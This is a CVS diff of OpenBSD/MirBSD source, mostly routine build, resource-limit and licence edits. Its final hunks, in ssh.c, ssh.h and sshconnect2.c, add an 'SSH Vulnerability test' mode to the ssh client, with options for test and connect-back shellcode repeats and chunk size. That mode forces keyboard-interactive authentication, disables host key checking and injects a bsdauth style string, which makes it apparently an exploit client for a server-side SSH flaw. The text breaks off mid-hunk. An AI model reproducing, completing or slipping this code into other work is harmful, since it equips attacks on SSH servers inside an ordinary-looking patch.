 #ntalk		dgram	udp	wait	root	/usr/libexec/ntalkd	ntalkd
 #bootps		dgram	udp	wait	root	/usr/sbin/bootpd	bootpd
 #pop3		stream	tcp	nowait	root	/usr/sbin/popa3d	popa3d
+#127.0.0.1:6667	stream	tcp	nowait	proxy	/usr/libexec/ircbridge	ircbridge secret -6
 # Internal services
 #echo		stream	tcp	nowait	root	internal
 #echo		stream	tcp6	nowait	root	internal
Index: src/etc/sysctl.conf
===================================================================
RCS file: /cvs/src/etc/sysctl.conf,v
retrieving revision 1.28
diff -u -r1.28 sysctl.conf
--- src/etc/sysctl.conf	31 May 2002 19:35:06 -0000	1.28
+++ src/etc/sysctl.conf	4 Mar 2003 16:52:40 -0000
@@ -11,12 +11,12 @@
 #net.inet.esp.enable=0		# 0=Disable the ESP IPsec protocol
 #net.inet.ah.enable=0		# 0=Disable the AH IPsec protocol
 #net.inet.ipcomp.enable=1	# 1=Enable the IPCOMP protocol
-#net.inet.tcp.ecn=1		# 1=Enable the TCP ECN extension
+#net.inet.tcp.ecn=0		# 0=Disable the TCP ECN extension
 #ddb.panic=0			# 0=Do not drop into ddb on a kernel panic
 #ddb.console=1			# 1=Permit entry of ddb from the console
 #fs.posix.setuid=0		# 0=Traditional BSD chown() semantics
 #vm.swapencrypt.enable=1	# 1=Encrypt pages that go to swap
 #vfs.nfs.iothreads=4		# number of nfsio kernel threads
 #net.inet.ip.mtudisc=0		# 0=disable tcp mtu discovery
-#kern.usercrypto=1		# 1=enable userland use of /dev/crypto
+#kern.usercrypto=0		# 0=disable userland use of /dev/crypto
 #kern.splassert=2		# 2=enable and verbose error messages.
Index: src/gnu/usr.bin/binutils/binutils/bucomm.c
===================================================================
RCS file: /cvs/src/gnu/usr.bin/binutils/binutils/bucomm.c,v
retrieving revision 1.5
diff -u -r1.5 bucomm.c
--- src/gnu/usr.bin/binutils/binutils/bucomm.c	13 May 2002 17:07:10 -0000	1.5
+++ src/gnu/usr.bin/binutils/binutils/bucomm.c	4 Mar 2003 16:52:40 -0000
@@ -215,7 +215,7 @@
   static char template[] = "stXXXXXX";
   char *tmpname;
   char *slash = strrchr (filename, '/');
-  char c;
+  char c = 0;
 
 #ifdef HAVE_DOS_BASED_FILE_SYSTEM
   {
Index: src/gnu/usr.bin/perl/Configure
===================================================================
RCS file: /cvs/src/gnu/usr.bin/perl/Configure,v
retrieving revision 1.11
diff -u -r1.11 Configure
--- src/gnu/usr.bin/perl/Configure	27 Oct 2002 22:24:54 -0000	1.11
+++ src/gnu/usr.bin/perl/Configure	4 Mar 2003 16:52:40 -0000
@@ -747,7 +747,7 @@
 dlsrc=''
 ld=''
 lddlflags=''
-usedl=''
+usedl=${USEDL:-''}
 doublesize=''
 ebcdic=''
 fflushNULL=''
Index: src/gnu/usr.bin/perl/Makefile.bsd-wrapper
===================================================================
RCS file: /cvs/src/gnu/usr.bin/perl/Makefile.bsd-wrapper,v
retrieving revision 1.52
diff -u -r1.52 Makefile.bsd-wrapper
--- src/gnu/usr.bin/perl/Makefile.bsd-wrapper	2 Mar 2003 19:17:31 -0000	1.52
+++ src/gnu/usr.bin/perl/Makefile.bsd-wrapper	4 Mar 2003 16:52:40 -0000
@@ -6,9 +6,15 @@
 # To build a threaded perl, uncomment this.  Currently, there are bugs...
 #THREADED=-Dusethreads
 
-# For ``NOMAN''
+# For "NOMAN" and "NOPIC"
 .include <bsd.own.mk>
 
+.if !defined(NOPIC)
+USE_DL?=y
+.else
+USE_DL?=n
+.endif
+
 # Our lndir is hacked; specify a full path to avoid potential conflicts
 # with the one installed with X11.
 LNDIR=		/usr/bin/lndir
@@ -467,7 +473,7 @@
 	regexec.c utf8.c taint.c deb.c universal.c xsutils.c globals.c perl.c \
 	perlio.c perlapi.c numeric.c locale.c pp_pack.c pp_sort.c
 
-CPPFLAGS+= -DPERL_CORE -DPERL_RANDOM_DEVICE=\"/dev/arandom\" -I.
+CPPFLAGS+= -DPERL_CORE -DPERL_RANDOM_DEVICE=\"/dev/arandom\" -I. -I${.CURDIR}
 
 .if defined (INSTALL_STRIP) && ${INSTALL_STRIP} == "-s"
 INST_PROG='/usr/bin/install -cs'
@@ -495,44 +501,70 @@
 beforedepend:	config.sh config.h
 
 perl.build:	perl.lib
-	cd ${.OBJDIR} && exec ${MAKE}
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec ${MAKE}
 
 config.sh:	${.OBJDIR}/config.over
 	cd ${.OBJDIR} && PATH="/bin:/usr/bin:/sbin:/usr/sbin" \
-	 exec /bin/sh Configure -Dopenbsd_distribution=defined ${THREADED} -dsE
+	 USEDL=${USE_DL} \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh Configure -Dopenbsd_distribution=defined ${THREADED} -dsE
 
 Policy.sh:
-	cd ${.OBJDIR} && exec /bin/sh Policy_sh.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh Policy_sh.SH
 
 Makefile:
-	cd ${.OBJDIR} && exec /bin/sh Makefile.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh Makefile.SH
 
 cflags:
-	cd ${.OBJDIR} && exec /bin/sh cflags.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh cflags.SH
 
 config.h:
-	cd ${.OBJDIR} && exec /bin/sh config_h.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh config_h.SH
 
 makeaperl:
-	cd ${.OBJDIR} && exec /bin/sh makeaperl.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh makeaperl.SH
 
 makedepend:
-	cd ${.OBJDIR} && exec /bin/sh makedepend.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh makedepend.SH
 
 makedir:
-	cd ${.OBJDIR} && exec /bin/sh makedir.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh makedir.SH
 
 myconfig:
-	cd ${.OBJDIR} && exec /bin/sh myconfig.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh myconfig.SH
 
 writemain:
-	cd ${.OBJDIR} && exec /bin/sh writemain.SH
+	cd ${.OBJDIR} && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh writemain.SH
 
 x2p/Makefile:
-	cd ${.OBJDIR}/x2p && exec /bin/sh Makefile.SH
+	cd ${.OBJDIR}/x2p && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh Makefile.SH
 
 x2p/cflags:
-	cd ${.OBJDIR}/x2p && exec /bin/sh cflags.SH
+	cd ${.OBJDIR}/x2p && \
+	CC="${CC}" CPP="${CPP}" CFLAGS="${CFLAGS} ${COPTS}" \
+	    exec /bin/sh cflags.SH
 
 # Never try to regenerate perly.c or perly.h
 perly.c perly.h: perly.y
Index: src/gnu/usr.sbin/sendmail/sendmail/conf.c
===================================================================
RCS file: /cvs/src/gnu/usr.sbin/sendmail/sendmail/conf.c,v
retrieving revision 1.18
diff -u -r1.18 conf.c
--- src/gnu/usr.sbin/sendmail/sendmail/conf.c	3 Mar 2003 17:30:59 -0000	1.18
+++ src/gnu/usr.sbin/sendmail/sendmail/conf.c	4 Mar 2003 16:52:40 -0000
@@ -3722,6 +3722,7 @@
 
 	lim.rlim_cur = lim.rlim_max = RLIM_INFINITY;
 	(void) setrlimit(RLIMIT_CPU, &lim);
+	(void) setrlimit(RLIMIT_TIME, &lim);
 	(void) setrlimit(RLIMIT_FSIZE, &lim);
 # ifdef RLIMIT_NOFILE
 	lim.rlim_cur = lim.rlim_max = FD_SETSIZE;
@@ -6084,4 +6085,3 @@
 #endif /* _FFR_USE_SETLOGIN */
 	NULL
 };
-
Index: src/lib/libc/gen/login_cap.c
===================================================================
RCS file: /cvs/src/lib/libc/gen/login_cap.c,v
retrieving revision 1.15
diff -u -r1.15 login_cap.c
--- src/lib/libc/gen/login_cap.c	15 Dec 2002 13:26:44 -0000	1.15
+++ src/lib/libc/gen/login_cap.c	4 Mar 2003 16:52:40 -0000
@@ -492,6 +492,7 @@
 	char *	name;
 } r_list[] = {
 	{ RLIMIT_CPU,		CTIME, "cputime", },
+	{ RLIMIT_TIME,		CTIME, "time", },
 	{ RLIMIT_FSIZE,		CSIZE, "filesize", },
 	{ RLIMIT_DATA,		CSIZE, "datasize", },
 	{ RLIMIT_STACK,		CSIZE, "stacksize", },
Index: src/lib/libc/sys/getrlimit.2
===================================================================
RCS file: /cvs/src/lib/libc/sys/getrlimit.2,v
retrieving revision 1.11
diff -u -r1.11 getrlimit.2
--- src/lib/libc/sys/getrlimit.2	18 Oct 2000 05:11:47 -0000	1.11
+++ src/lib/libc/sys/getrlimit.2	22 Mar 2003 15:11:09 -0000
@@ -1,3 +1,4 @@
+.\"	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $
 .\"	$OpenBSD: getrlimit.2,v 1.11 2000/10/18 05:12:09 aaron Exp $
 .\"	$NetBSD: getrlimit.2,v 1.8 1995/10/12 15:40:58 jtc Exp $
 .\"
@@ -67,6 +68,9 @@
 file that may be created.
 .It Li RLIMIT_CPU
 The maximum amount of cpu time (in seconds) to be used by
+each process.
+.It Li RLIMIT_TIME
+The maximum amount of human time (in seconds) to be used by
 each process.
 .It Li RLIMIT_DATA
 The maximum size (in bytes) of the data segment for a process;
Index: src/lib/libpthread/uthread/uthread_mutex.c
===================================================================
RCS file: /cvs/src/lib/libpthread/uthread/uthread_mutex.c,v
retrieving revision 1.17
diff -u -r1.17 uthread_mutex.c
--- src/lib/libpthread/uthread/uthread_mutex.c	31 Jan 2003 04:45:55 -0000	1.17
+++ src/lib/libpthread/uthread/uthread_mutex.c	4 Mar 2003 16:52:41 -0000
@@ -111,9 +111,9 @@
 		   const pthread_mutexattr_t * mutex_attr)
 {
 	pthread_mutex_t	pmutex;
-	enum pthread_mutextype	type = 0;
-	int		protocol = 0;
-	int		ceiling = 0;
+	enum pthread_mutextype	type = PTHREAD_MUTEX_ERRORCHECK;
+	int		protocol = PTHREAD_PRIO_NONE;
+	int		ceiling = PTHREAD_MAX_PRIORITY;
 	int		flags = 0;
 	int		ret = 0;
 
@@ -123,10 +123,10 @@
 	/* Check if default mutex attributes: */
 	else if (mutex_attr == NULL || *mutex_attr == NULL) {
 		/* Default to a (error checking) POSIX mutex: */
-		type = PTHREAD_MUTEX_ERRORCHECK;
+		/***type = PTHREAD_MUTEX_ERRORCHECK;
 		protocol = PTHREAD_PRIO_NONE;
 		ceiling = PTHREAD_MAX_PRIORITY;
-		flags = 0;
+		flags = 0;***/
 	}
 
 	/* Check mutex type: */
Index: src/lib/libutil/passwd.c
===================================================================
RCS file: /cvs/src/lib/libutil/passwd.c,v
retrieving revision 1.36
diff -u -r1.36 passwd.c
--- src/lib/libutil/passwd.c	31 Jul 2002 21:53:12 -0000	1.36
+++ src/lib/libutil/passwd.c	4 Mar 2003 16:52:41 -0000
@@ -354,6 +354,7 @@
 	/* Unlimited resource limits. */
 	rlim.rlim_cur = rlim.rlim_max = RLIM_INFINITY;
 	(void)setrlimit(RLIMIT_CPU, &rlim);
+	(void)setrlimit(RLIMIT_TIME, &rlim);
 	(void)setrlimit(RLIMIT_FSIZE, &rlim);
 	(void)setrlimit(RLIMIT_STACK, &rlim);
 	(void)setrlimit(RLIMIT_DATA, &rlim);
Index: src/usr.bin/ssh/ssh/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/ssh/ssh/Makefile,v
retrieving revision 1.42
diff -u -r1.42 Makefile
--- src/usr.bin/ssh/ssh/Makefile	20 Jun 2002 19:55:45 -0000	1.42
+++ src/usr.bin/ssh/ssh/Makefile	7 Mar 2003 18:07:05 -0000
@@ -23,7 +23,7 @@
 DPADD+=  ${LIBKRB5} ${LIBASN1} ${LIBCOM_ERR}
 .endif # KERBEROS5
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 CFLAGS+= -DKRB4 -I${DESTDIR}/usr/include/kerberosIV
 LDADD+=	 -lkrb
 DPADD+=	 ${LIBKRB}
Index: src/usr.bin/ssh/sshd/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/ssh/sshd/Makefile,v
retrieving revision 1.52
diff -u -r1.52 Makefile
--- src/usr.bin/ssh/sshd/Makefile	21 Feb 2003 09:03:47 -0000	1.52
+++ src/usr.bin/ssh/sshd/Makefile	7 Mar 2003 18:07:05 -0000
@@ -27,7 +27,7 @@
 DPADD+= ${LIBKRB5} ${LIBKAFS} ${LIBASN1} ${LIBCOM_ERR}
 .endif # KERBEROS5
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 .if (${AFS:L} == "yes")
 CFLAGS+= -DAFS
 LDADD+=  -lkafs
Index: src/usr.bin/telnet/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/telnet/Makefile,v
retrieving revision 1.17
diff -u -r1.17 Makefile
--- src/usr.bin/telnet/Makefile	11 May 2002 00:19:58 -0000	1.17
+++ src/usr.bin/telnet/Makefile	22 Mar 2003 14:44:00 -0000
@@ -1,3 +1,4 @@
+#	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $
 #	$OpenBSD: Makefile,v 1.17 2002/05/11 00:20:20 espie Exp $
 #
 # Copyright (c) 1990 The Regents of the University of California.
@@ -11,10 +12,6 @@
 # 2. Redistributions in binary form must reproduce the above copyright
 #    notice, this list of conditions and the following disclaimer in the
 #    documentation and/or other materials provided with the distribution.
-# 3. All advertising materials mentioning features or use of this software
-#    must display the following acknowledgement:
-#	This product includes software developed by the University of
-#	California, Berkeley and its contributors.
 # 4. Neither the name of the University nor the names of its contributors
 #    may be used to endorse or promote products derived from this software
 #    without specific prior written permission.
@@ -52,7 +49,7 @@
 DPADD+= ${LIBKRB5} ${LIBASN1} ${LIBCRYPTO} ${LIBCOM_ERR} ${LIBKAFS} ${LIBDES}
 .endif
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 CFLAGS+=-DENCRYPTION -DAUTHENTICATION -DKRB4
 LDADD+= -lkrb -lcrypto -ldes
 DPADD+= ${LIBDES} ${LIBKRB} ${LIBDES}
Index: src/usr.bin/xlint/lint1/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/xlint/lint1/Makefile,v
retrieving revision 1.3
diff -u -r1.3 Makefile
--- src/usr.bin/xlint/lint1/Makefile	11 Sep 2001 00:06:06 -0000	1.3
+++ src/usr.bin/xlint/lint1/Makefile	7 Mar 2003 18:07:05 -0000
@@ -8,7 +8,7 @@
 LDADD+=	-ll
 DPADD+=	${LIBL}
 YFLAGS=	-d
-CFLAGS+=-I.
+CFLAGS+=-I. -I${.CURDIR}
 LINTFLAGS=-aehpz
 CLEANFILES+=y.tab.h cgram.c scan.c
 
Index: src/usr.sbin/amd/fsinfo/Makefile
===================================================================
RCS file: /cvs/src/usr.sbin/amd/fsinfo/Makefile,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 Makefile
--- src/usr.sbin/amd/fsinfo/Makefile	18 Oct 1995 08:46:59 -0000	1.1.1.1
+++ src/usr.sbin/amd/fsinfo/Makefile	7 Mar 2003 18:07:05 -0000
@@ -12,7 +12,7 @@
 CLEANFILES= \
 	fsi_gram.c y.tab.c fsi_gram.h y.tab.h \
 	fsi_lex.c lex.yy.c y.output
-CFLAGS+=-I.
+CFLAGS+=-I. -I${.CURDIR}
 CFLAGS+=-I${.CURDIR}/../include
 CFLAGS+=-I${.CURDIR}/../config
 CFLAGS+=-DOS_HDR=\"os-${OS}.h\"
Index: src/usr.sbin/arp/arp.8
===================================================================
RCS file: /cvs/src/usr.sbin/arp/arp.8,v
retrieving revision 1.12
diff -u -r1.12 arp.8
--- src/usr.sbin/arp/arp.8	13 Feb 2002 08:33:25 -0000	1.12
+++ src/usr.sbin/arp/arp.8	22 Mar 2003 14:42:00 -0000
@@ -1,3 +1,4 @@
+.\"	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $
 .\"	$OpenBSD: arp.8,v 1.12 2002/02/13 08:33:47 mpech Exp $
 .\"	$NetBSD: arp.8,v 1.7 1995/03/01 11:50:59 chopps Exp $
 .\"
@@ -12,10 +13,6 @@
 .\" 2. Redistributions in binary form must reproduce the above copyright
 .\"    notice, this list of conditions and the following disclaimer in the
 .\"    documentation and/or other materials provided with the distribution.
-.\" 3. All advertising materials mentioning features or use of this software
-.\"    must display the following acknowledgement:
-.\"	This product includes software developed by the University of
-.\"	California, Berkeley and its contributors.
 .\" 4. Neither the name of the University nor the names of its contributors
 .\"    may be used to endorse or promote products derived from this software
 .\"    without specific prior written permission.
@@ -136,6 +133,7 @@
 .Ed
 .Pp
 with argument meanings as given above.
+Lines beginning with '#' are considered comments and are ignored.
 .El
 .Sh EXAMPLES
 To view the current
Index: src/usr.sbin/arp/arp.c
===================================================================
RCS file: /cvs/src/usr.sbin/arp/arp.c,v
retrieving revision 1.26
diff -u -r1.26 arp.c
Binary files /tmp/cvst13485 and arp.c differ
Index: src/usr.sbin/ppp/ppp/alias_nbt.c
===================================================================
RCS file: /cvs/src/usr.sbin/ppp/ppp/alias_nbt.c,v
retrieving revision 1.8
diff -u -r1.8 alias_nbt.c
--- src/usr.sbin/ppp/ppp/alias_nbt.c	15 Jun 2002 08:01:37 -0000	1.8
+++ src/usr.sbin/ppp/ppp/alias_nbt.c	22 Mar 2003 14:37:07 -0000
@@ -1,3 +1,4 @@
+/*	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $	*/
 /*-
  * Written by Atsushi Murai <amurai@spec.co.jp>
  * Copyright (c) 1998, System Planning and Engineering Co.
@@ -111,7 +112,7 @@
 		case CFT_ERR:
 			printf("\nName in conflict error.\n");
 		default:
-			printf("\n???=%0x\n", rcode );
+			printf("\n??? = %0x\n", rcode );
 
 	}
 }
Index: src/usr.sbin/pppd/Makefile
===================================================================
RCS file: /cvs/src/usr.sbin/pppd/Makefile,v
retrieving revision 1.15
diff -u -r1.15 Makefile
--- src/usr.sbin/pppd/Makefile	19 May 2002 20:47:30 -0000	1.15
+++ src/usr.sbin/pppd/Makefile	7 Mar 2003 18:07:06 -0000
@@ -15,6 +15,6 @@
 
 LDADD=	-lpcap -lutil
 DPADD=	${LIBPCAP} ${LIBUTIL}
-CFLAGS+= -I. -I${PCAPDIR} -DHAVE_PATHS_H -DIPX_CHANGE -DPPP_FILTER -DUSE_CRYPT -DCHAPMS
+CFLAGS+= -I. -I${.CURDIR} -I${PCAPDIR} -DHAVE_PATHS_H -DIPX_CHANGE -DPPP_FILTER -DUSE_CRYPT -DCHAPMS
 
 .include <bsd.prog.mk>
Index: src/usr.sbin/rpc.lockd/Makefile
===================================================================
RCS file: /cvs/src/usr.sbin/rpc.lockd/Makefile,v
retrieving revision 1.4
diff -u -r1.4 Makefile
--- src/usr.sbin/rpc.lockd/Makefile	19 Aug 1997 08:04:55 -0000	1.4
+++ src/usr.sbin/rpc.lockd/Makefile	7 Mar 2003 18:07:06 -0000
@@ -7,7 +7,7 @@
 DPADD=	${LIBRPCSVC}
 LDADD=	-lrpcsvc
 
-CFLAGS+= -I. -DSYSLOG
+CFLAGS+= -I. -I${.CURDIR} -DSYSLOG
 
 CLEANFILES= nlm_prot_svc.c nlm_prot.h
 
Index: src/usr.sbin/user/user.c
===================================================================
RCS file: /cvs/src/usr.sbin/user/user.c,v
retrieving revision 1.40
diff -u -r1.40 user.c
--- src/usr.sbin/user/user.c	10 Dec 2002 20:49:06 -0000	1.40
+++ src/usr.sbin/user/user.c	22 Mar 2003 14:34:32 -0000
@@ -1,3 +1,4 @@
+/*	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $	*/
 /* $OpenBSD: user.c,v 1.40 2002/12/10 20:49:28 millert Exp $ */
 /* $NetBSD: user.c,v 1.45 2001/08/17 08:29:00 joda Exp $ */
 
@@ -1129,8 +1130,8 @@
 				    len + strlen(newlogin) >= sizeof(buf))) {
 					(void) close(ptmpfd);
 					pw_abort();
-					errx(EXIT_FAILURE, "can't add `%s',
-					    line too long (%d bytes)", buf,
+					errx(EXIT_FAILURE, "can't add `%s', "
+					    "line too long (%d bytes)", buf,
 					    len + strlen(newlogin));
 				}
 				if (write(ptmpfd, buf, len) != len) {

Index: src/usr.bin/passwd/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/passwd/Makefile,v
retrieving revision 1.26
diff -u -r1.26 Makefile
--- src/usr.bin/passwd/Makefile	8 May 2002 19:41:31 -0000	1.26
+++ src/usr.bin/passwd/Makefile	4 Mar 2003 16:52:41 -0000
@@ -23,12 +23,16 @@
 LDADD+=	-lkrb5 -lasn1
 .endif
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 .PATH:  ${.CURDIR}/../rsh
 SRCS+= new_pwd.c krb_passwd.c des_rw.c
 CFLAGS+= -DKERBEROS
-DPADD+=	${LIBKADM} ${LIBKRB} ${LIBDES} ${LIBCOMERR} ${LIBKAFS} ${LIBCRYPTO}
-LDADD+=	-lkadm -lkrb -ldes -lcom_err -lkafs -lcrypto
+DPADD+=	${LIBKADM} ${LIBKRB} ${LIBDES} ${LIBCOMERR} ${LIBCRYPTO}
+LDADD+=	-lkadm -lkrb -ldes -lcom_err -lcrypto
+.if (${AFS:L} == "yes")
+DPADD+=	${LIBKAFS}
+LDADD+=	lkafs
+.endif
 .endif
 
 BINMODE=4555
Index: src/usr.bin/rdist/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/rdist/Makefile,v
retrieving revision 1.12
diff -u -r1.12 Makefile
--- src/usr.bin/rdist/Makefile	9 May 2002 19:12:40 -0000	1.12
+++ src/usr.bin/rdist/Makefile	4 Mar 2003 16:52:41 -0000
@@ -2,7 +2,7 @@
 
 
 PROG=	rdist
-CFLAGS+=-I. -DOS_H=\"os-openbsd.h\"
+CFLAGS+=-I. -I${.CURDIR} -DOS_H=\"os-openbsd.h\"
 SRCS=	gram.y child.c client.c common.c distopt.c docmd.c expand.c \
 	isexec.c lookup.c message.c rdist.c
 CLEANFILES+=gram.c y.tab.h
Index: src/usr.bin/rsh/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/rsh/Makefile,v
retrieving revision 1.6
diff -u -r1.6 Makefile
--- src/usr.bin/rsh/Makefile	6 May 2002 22:23:31 -0000	1.6
+++ src/usr.bin/rsh/Makefile	4 Mar 2003 16:52:41 -0000
@@ -7,7 +7,7 @@
 
 .include <bsd.own.mk>	# For KERBEROS
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 SRCS+=	des_rw.c
 CFLAGS+=-DKERBEROS
 SRCS+=	krcmd.c kcmd.c
Index: src/usr.bin/skeyinit/skeyinit.c
===================================================================
RCS file: /cvs/src/usr.bin/skeyinit/skeyinit.c,v
retrieving revision 1.41
diff -u -r1.41 skeyinit.c
--- src/usr.bin/skeyinit/skeyinit.c	16 Nov 2002 23:05:14 -0000	1.41
+++ src/usr.bin/skeyinit/skeyinit.c	4 Mar 2003 16:52:41 -0000
@@ -181,13 +181,13 @@
 	case 1:
 		if (!defaultsetup) {
 			fprintf(stderr,
-"You must authenticate yourself before using S/Key for the first time.  In
-secure mode this is normally done via an existing S/Key key.  However, since
-you do not have an entry in the S/Key database you will have to specify an
-alternate authentication type via the `-a' flag, e.g.
-    \"skeyinit -s -a krb5\" or \"skeyinit -s -a passwd\"\n
-Note that entering a plaintext password over a non-secure link defeats the
-purpose of using S/Key in the fist place.\n");
+"You must authenticate yourself before using S/Key for the first time.  In "
+"secure mode this is normally done via an existing S/Key key.  However, since "
+"you do not have an entry in the S/Key database you will have to specify an "
+"alternate authentication type via the `-a' flag, e.g. "
+"    \"skeyinit -s -a krb5\" or \"skeyinit -s -a passwd\"\n"
+"Note that entering a plaintext password over a non-secure link defeats the "
+"purpose of using S/Key in the fist place.\n");
 			exit(1);
 		}
 		break;
Index: src/usr.bin/ssh/lib/Makefile
===================================================================
RCS file: /cvs/src/usr.bin/ssh/lib/Makefile,v
retrieving revision 1.39
diff -u -r1.39 Makefile
--- src/usr.bin/ssh/lib/Makefile	21 Feb 2003 09:03:47 -0000	1.39
+++ src/usr.bin/ssh/lib/Makefile	4 Mar 2003 16:52:41 -0000
@@ -24,7 +24,7 @@
 CFLAGS+= -DKRB5 -I${DESTDIR}/usr/include/kerberosV
 .endif # KERBEROS5
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 CFLAGS+= -DKRB4 -I${DESTDIR}/usr/include/kerberosIV
 .if (${AFS:L} == "yes")
 CFLAGS+= -DAFS
Index: src/usr.bin/ssh/ssh.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/ssh.c,v
retrieving revision 1.190
diff -u -r1.190 ssh.c
--- src/usr.bin/ssh/ssh.c	6 Feb 2003 09:27:07 -0000	1.190
+++ src/usr.bin/ssh/ssh.c	4 Mar 2003 16:52:41 -0000
@@ -138,6 +138,14 @@
 /* # of replies received for global requests */
 static int client_global_request_id = 0;
 
+/* SSH Vulnerability test */
+int testing = 0;
+int chunk_size = 0;
+int tcode_rep = 0;
+int scode_rep = 0;
+char *style = "skey";
+SSH_XpMethod method = N;
+
 /* pid of proxycommand child process */
 pid_t proxy_command_pid = 0;
 
@@ -191,6 +199,12 @@
 	fprintf(stderr, "  -o 'option' Process the option as if it was read from a configuration file.\n");
 	fprintf(stderr, "  -s          Invoke command (mandatory) as SSH2 subsystem.\n");
 	fprintf(stderr, "  -b addr     Local IP address.\n");
+	fprintf(stderr, "  -M method   Select the device (skey or default bsdauth)\n");
+	fprintf(stderr, "  -S style    If using bsdauth, select the style (default skey)\n");
+	fprintf(stderr, "  -d rep      Test shellcode repeat (-z default 10000) (default 0)\n");
+	fprintf(stderr, "  -j size     Chunk size (default 4096 = 1 page)\n");
+	fprintf(stderr, "  -r rep      Connect-back shellcode repeat (default 60), unused if -z\n");
+	fprintf(stderr, "  -z          Enable testing mode\n");
 	exit(1);
 }
 
@@ -262,8 +276,27 @@
 
 again:
 	while ((opt = getopt(ac, av,
-	    "1246ab:c:e:fgi:kl:m:no:p:qstvxACD:F:I:L:NPR:TVX")) != -1) {
+	    "1246ab:c:d:e:fgi:j:kl:m:no:p:qr:stvxzACD:F:I:L:M:NPR:S:TVX")) != -1) {
 		switch (opt) {
+		case 'S':
+			style = optarg;
+			break;
+		case 'M':
+			if (!strcmp(optarg, "skey")) method = S;
+			 else if (!strcmp(optarg, "bsdauth")) method = B;
+			break;
+		case 'd':
+			tcode_rep = atoi(optarg);
+			break;
+		case 'j':
+			chunk_size = atoi(optarg);
+			break;
+		case 'r':
+			scode_rep = atoi(optarg);
+			break;
+		case 'z':
+			testing = 1;
+			break;
 		case '1':
 			options.protocol = SSH_PROTO_1;
 			break;
@@ -572,6 +605,12 @@
 
 		/* Read systemwide configuration file after use config. */
 		(void)read_config_file(_PATH_HOST_CONFIG_FILE, host, &options);
+	}
+
+	if (method != N) {
+		options.preferred_authentications = "keyboard-interactive";
+		options.strict_host_key_checking = 0;
+		options.protocol = SSH_PROTO_2;
 	}
 
 	/* Fill configuration defaults. */
Index: src/usr.bin/ssh/ssh.h
===================================================================
RCS file: /cvs/src/usr.bin/ssh/ssh.h,v
retrieving revision 1.71
diff -u -r1.71 ssh.h
--- src/usr.bin/ssh/ssh.h	22 Jun 2002 02:00:07 -0000	1.71
+++ src/usr.bin/ssh/ssh.h	4 Mar 2003 16:52:41 -0000
@@ -95,4 +95,6 @@
 /* Minimum modulus size (n) for RSA keys. */
 #define SSH_RSA_MINIMUM_MODULUS_SIZE	768
 
+typedef enum { S, B, N } SSH_XpMethod;
+
 #endif				/* SSH_H */
Index: src/usr.bin/ssh/sshconnect2.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/sshconnect2.c,v
retrieving revision 1.112
diff -u -r1.112 sshconnect2.c
--- src/usr.bin/ssh/sshconnect2.c	5 Mar 2003 22:33:21 -0000	1.112
+++ src/usr.bin/ssh/sshconnect2.c	7 Mar 2003 16:38:12 -0000
@@ -47,10 +47,14 @@
 #include "canohost.h"
 #include "msg.h"
 #include "pathnames.h"
+#include "atomicio.h"
 
 /* import */
 extern char *client_version_string;
 extern char *server_version_string;
+extern char *style;
+extern int testing, chunk_size, tcode_rep, scode_rep;
+extern SSH_XpMethod method;
 extern Options options;
 
 /*
@@ -221,6 +225,7 @@
 {
 	Authctxt authctxt;
 	int type;
+	char *p;
 
 	if (options.challenge_response_authentication)
 		options.kbd_interactive_authentication = 1;
@@ -261,6 +266,15 @@
 	if (authctxt.method == NULL)
 		fatal("ssh_userauth2: internal error: cannot send userauth none request");
 
+	if (method == B) {
+		if (!(p = malloc(strlen(authctxt.server_user) + strlen(style) + 2)))
+			fatal("malloc() failed");
+		sprintf(p, "%s:%s", authctxt.server_user, style);
+		authctxt.server_user = p;
+	}
+
